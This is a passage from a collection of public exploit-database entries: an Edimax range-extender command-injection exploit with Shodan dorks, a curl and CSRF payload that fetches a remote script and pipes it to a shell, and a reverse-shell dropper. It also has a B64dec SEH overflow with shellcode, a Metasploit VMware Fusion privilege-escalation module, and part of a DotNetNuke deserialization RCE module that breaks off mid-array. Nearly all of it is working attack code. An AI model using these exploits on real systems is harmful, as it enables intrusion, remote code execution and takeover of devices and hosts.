    })

    fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

    # Request Status Check
    if res.code == 302
      print_good('Payload successfully sent')
      return cookies
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Something went wrong")
    end
  end

  def exploit
    cookies = login
    vprint_status("Cookies here : #{cookies}")
    # Execute Last Sent Username.
    send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'method' => 'GET',
      'cookie' => cookies,
      'vars_get' => {
        'app' => 'main',
        'inc' => 'core_auth',
        'route' => 'login'
      }
    }, 0)
  end
end
            
# Exploit Title: Edimax Technology EW-7438RPn-v3 Mini 1.27 - Remote Code Execution
# Date: 2020-04-13
# Exploit Author: Wadeek
# Hardware Version: EW-7438RPn-v3 Mini
# Firmware Version: 1.23 / 1.27
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Firmware Link: https://www.edimax.com/edimax/mw/cufiles/files/download/Firmware/EW-7438RPn_mini_1.27.zip

== Shodan Dorks ==

(Setup Mode) "HTTP/1.0 302 Redirect" "Server: Boa/0.94.14rc21" "http://(null)/index.asp"
(Unsetup Mode) "HTTP/1.1 401 Unauthorized" "Server: Boa/0.94.14rc21" "Default Name:admin Password:1234"

== Unauthorized Access - Wi-Fi Password Disclosure (Unsetup Mode) ==

GET /wizard_reboot.asp
showSSID = "<WIRELESS-NAME>";
document.write('<font class=\"textcolor\">'+"<WIRELESS-SECURITY-KEY>"+'</font>');

== Command Execution * ==

(Setup Mode)
curl 'http://<RHOST>/goform/mp' --data 'command=%7C%7C+busybox+wget+-O+-+http%3A%2F%2F<LHOST>%2Fdelivery.sh+%7C+%2Fbin%2Fsh'

(Unsetup Mode with default password)
curl 'http://<RHOST>/goform/mp' -H 'Authorization: Basic YWRtaW46MTIzNA==' --data 'command=%7C%7C+busybox+wget+-O+-+http%3A%2F%2F<LHOST>%2Fdelivery.sh+%7C+%2Fbin%2Fsh'

== Cross-Site Request Forgery -> Command Execution * ==

<form action="http://edimaxext.setup/goform/mp" method="POST">
	<input type="hidden" name="command" value="|| busybox wget -O - http://<LHOST>/delivery.sh | /bin/sh">
	<input type="submit" value="">
</form>

* [ delivery.sh ]
--------------------------------------------------------------------------------------
# (msfvenom) linux/mipsbe/shell/reverse_tcp
cd /tmp/
busybox wget -O reverse http://<LHOST>/reverse
busybox chmod +x reverse
./reverse &
--------------------------------------------------------------------------------------
            
# Exploit Title: B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter)
# Date: 2020-04-13
# Exploit Author: Andy Bowden
# Vendor Homepage: http://4mhz.de/b64dec.html
# Software Link: http://4mhz.de/download.php?file=b64dec-1-1-2.zip
# Version: Base64 Decoder 1.1.2
# Tested on: Windows 10 x86

#Instructions:
# Run the script to create the Crash.txt file. Copy the contents of the file and paste them into the search box and then click decode. 

f = open("crash.txt", "wb")

padding1   = b"ERCDERCD" 
padding1  += b"\x90" * 100

# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x0a\x0d'
# cmd=calc.exe exitfunc=thread -f python
payload =  b""
payload += b"\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
payload += b"\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
payload += b"\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
payload += b"\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
payload += b"\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
payload += b"\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
payload += b"\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
payload += b"\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
payload += b"\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
payload += b"\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
payload += b"\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
payload += b"\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
payload += b"\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
payload += b"\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
payload += b"\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
payload += b"\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
payload += b"\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

egghunter  = b"\x8B\xFD"                # mov edi,ebp
egghunter += b"\xB8\x45\x52\x43\x44"    # mov eax,45525344 ERCD                       
egghunter += b"\x47"                    # inc edi                                                                 
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                  
egghunter += b"\x75\xFB"                # jne                             
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                  
egghunter += b"\x75\xF7"                # jne        
egghunter += b"\xFF\xE7"                # jmp edi

buf = padding1 + payload 
buf += b"\x90" * (580 - len(padding1 + payload))
buf += egghunter
buf += b"\x90" * (620 - len(buf))
buf += b"\x90\x90\xEB\xCE"
buf += b"\x86\x1e\x40" #00401e86

f.write(buf)
f.close()
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::OSX::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
        'Description'    => %q(
          This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
          The Open VMware USB Arbitrator Service can be launched outide of its standard path
          which allows loading of an attacker controlled binary.  By creating a payload in the
          user home directory in a specific folder, and creating a hard link to the 'Open VMware
          USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
          with an effective UID of 0.
          @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
          Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die', # msf module
            'Dhanesh Kizhakkinan', # discovery
            'Rich Mirch', # edb module
            'jeffball <jeffball@dc949.org>', # 11.5.3 exploit
            'grimm'
          ],
        'Platform'       => [ 'osx' ],
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        => [[ 'Auto', {} ]],
        'Privileged'     => true,
        'References'     =>
          [
            [ 'CVE', '2020-3950' ],
            [ 'EDB', '48235' ],
            [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
            [ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
            [ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
          ],
        'DisclosureDate' => 'Mar 17 2020',
        'DefaultOptions' =>
          {
            'PAYLOAD'    => 'osx/x64/meterpreter_reverse_tcp',
            'WfsDelay'   => 15
          }
      )
    )

    register_options [
      OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
    ]

    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ]
  end

  def open_usb_service
    'Open VMware USB Arbitrator Service'
  end

  def usb_service
    'VMware USB Arbitrator Service'
  end

  def get_home_dir
    home = cmd_exec 'echo ~'
    if home.blank?
      fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
    end
    home
  end

  def content_dir
    "#{get_home_dir}/Contents"
  end

  def base_dir
    "#{content_dir}/Library/services/"
  end

  def kill_process(executable)
    pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
    cmd_exec pid_kill
  end

  def get_version
    # Thanks to @ddouhine on github for this answer!
    version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
    /=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
    if version_raw.blank?
      fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version.  Set ForceExploit to override.'
    end
    Gem::Version.new(version)
  end

  def pre_11_5_3
    # Upload payload executable & chmod
    payload_filename = "#{base_dir}#{usb_service}"
    print_status "Uploading Payload: #{payload_filename}"
    write_file payload_filename, generate_payload_exe
    chmod payload_filename, 0o755
    register_file_for_cleanup payload_filename

    # create folder structure and hard link to the original binary
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    cmd_exec "mkdir -p #{link_folder}"
    cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
    print_status "Created folder (#{link_folder}) and link"

    print_status 'Starting USB Service (5 sec pause)'
    # XXX: The ; used by cmd_exec will interfere with &, so pad it with :
    cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
    Rex.sleep 5 # give time for the service to execute our payload
    print_status 'Killing service'
    cmd_exec "pkill '#{open_usb_service}'"
    print_status "Deleting #{root_link_folder}"
    rm_rf root_link_folder
  end

  def exactly_11_5_3
    # Upload payload executable & chmod
    payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    print_status "Uploading Payload to #{payload_name}"
    write_file payload_name, generate_payload_exe
    chmod payload_name, 0o755
    #create race with codesign check
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    print_status 'Uploading race condition executable.'
    race = <<~EOF
      #!/bin/sh
      while [ "1" = "1" ]; do
          ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
          ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
      done
    EOF
    racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx racer_name, race
    register_file_for_cleanup racer_name
    register_dirs_for_cleanup root_link_folder
    # create the hard link
    print_status "Creating folder (#{link_folder}) and link"
    cmd_exec "mkdir -p #{link_folder}"
    cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"

    # create the launcher to start the racer and keep launching our service to attempt to win
    launcher = <<~EOF
      #!/bin/sh
      #{racer_name} &
      for i in {1..#{datastore['MAXATTEMPTS']}}
      do
          echo "attempt $i";
          '#{link_folder}#{open_usb_service}'
      done
    EOF
    runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx runner_name, launcher
    register_file_for_cleanup runner_name

    print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
    # XXX: The ; used by cmd_exec will interfere with &, so pad it with :
    results = cmd_exec "#{runner_name} & :"
    Rex.sleep 15 # give time for the service to execute our payload
    vprint_status results

    print_status 'Exploit Finished, killing scripts.'
    kill_process racer_name
    kill_process runner_name # in theory should be killed already but just in case
    kill_process "'#{link_folder}#{open_usb_service}'"
    # kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
    # above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
    # rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
  end

  def check
    unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
      print_bad "'#{open_usb_service}' binary missing"
      return CheckCode::Safe
    end
    version = get_version
    if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))
      vprint_good "Vmware Fusion #{version} is exploitable"
    else
      print_bad "VMware Fusion #{version} is NOT exploitable"
      return CheckCode::Safe
    end
    CheckCode::Appears
  end

  def exploit
    # First check the system is vulnerable, or the user wants to run regardless
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    # Check if we're already root
    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
      end
    end

    # Make sure we can write our payload to the remote system
    rm_rf content_dir # live dangerously.
    if directory? content_dir
      fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically.  Please delete or exploit will fail."
    end
    cmd_exec "mkdir -p #{base_dir}"
    register_dirs_for_cleanup content_dir
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable."
    end

    version = get_version
    if version == Gem::Version.new('11.5.3')
      vprint_status 'Using 11.5.3 exploit'
      exactly_11_5_3
    elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))
      vprint_status 'Using pre-11.5.3 exploit'
      pre_11_5_3
    end
    rm_rf content_dir # live dangerously.
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'openssl'
require 'set'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer

  Rank = ExcellentRanking

  # =================================
  # Overidden setup method to allow
  # for delayed handler start
  # =================================
  def setup
    # Reset the session counts to zero.
    reset_session_counts

    return if !payload_instance
    return if !handler_enabled?

    # Configure the payload handler
    payload_instance.exploit_config = {
      'active_timeout' => active_timeout
    }

    # payload handler is normally set up and started here
    # but has been removed so we can start the handler when needed.
  end

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => "DotNetNuke Cookie Deserialization Remote Code Execution",
      'Description'    => %q(
        This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
        Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
        The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
        The cookie is processed by the application whenever it attempts to load the current user's profile data.
        This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
        An attacker can leverage this vulnerability to execute arbitrary code on the system.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jon Park', 'Jon Seigel' ],
      'References'     =>
        [
          [ 'CVE', '2017-9822' ],
          [ 'CVE', '2018-15811'],
          [ 'CVE', '2018-15812'],
          [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
          [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
          [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
          [ 'URL', 'https://github.com/pwntester/ysoserial.net']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { 'auto' => true } ],
          [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
          [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
          [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
          [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
        ],
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Payload'        =>
        {

        },
      'Privileged'     => false,
      'DisclosureDate' => "Jul 20 2017",
      'DefaultOptions' => { 'WfsDelay' => 5 },
      'DefaultTarget'  => 0
    ))

    deregister_options('SRVHOST')

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
        OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
        OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.
        Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),
        OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;
        (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),
        OptString.new('KEY', [false, 'The key to use for encryption.', '']),
        OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
        OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
        DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),
        OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.
        Can also be the path to a file containing a list of verification codes.), ''])
      ]
    )


    initialize_instance_variables
  end

  def initialize_instance_variables
    # ==================
    # COMMON VARIABLES
    # ==================

    @target_idx = 0

    # Flag for whether or not to perform exploitation
    @dry_run = false

    # Flag for whether or not the target requires encryption
    @encrypted = false

    # Flag for whether or not to attempt to decrypt the provided verification token(s)
    @try_decrypt = false

    # ==================
    # PAYLOAD VARIABLES
    # ==================

    # ObjectStateFormatter serialized header
    @osf_header = [255, 1, 50]

    # ObjectStateFormatter serialized data before the command payload
    @osf_wrapper_start = [
      0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,
      83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
      46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,
      117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,
      111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,
      48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,
      108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,
      99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,
      114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,
      46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,
      116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,
      107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,
      57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,
      114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,
      0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,
      99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,
      109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,
      96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,
      44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,
      111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
      101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
      75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
      57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,
      2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,
      46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,
      114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,
      112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,
      116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,
      86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
      117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,
      117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,
      97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,
      95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,
      101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
      105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,
      17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0
    ]

    # ObjectStateFormatter serialized data to place after the command payload.
    @osf_wrapper_end = [
      6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,
      109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
      105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,
      68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,
      109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,
      46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,
      122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,
      101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,
      109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
      98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
      116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,
      109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
      98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
      116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,
      0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,
      101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,
      116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,
      97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,
      97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,
      116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,
      108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,
      101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,
      101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,
      121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,
      114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
      114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,
      0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,
      91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,
      109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,
      110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
      101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
      75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
      57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,
      116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,
      32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,
      67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,
      32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,
      55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,
      121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
      115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,
      109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,
      48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,
      97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,
      110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,
      93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,
      101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
      117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,
      80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,
      55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,
      73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,
      61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,
      110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
      121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
      52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,
      105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,
      115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,
      0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,
      105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,
      114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
      114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,
      121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,
      105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,
      114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,
      110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,
      1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,
      93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,
      121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
      115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,
      121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,
      83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,
      99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,
      83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,
      121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,
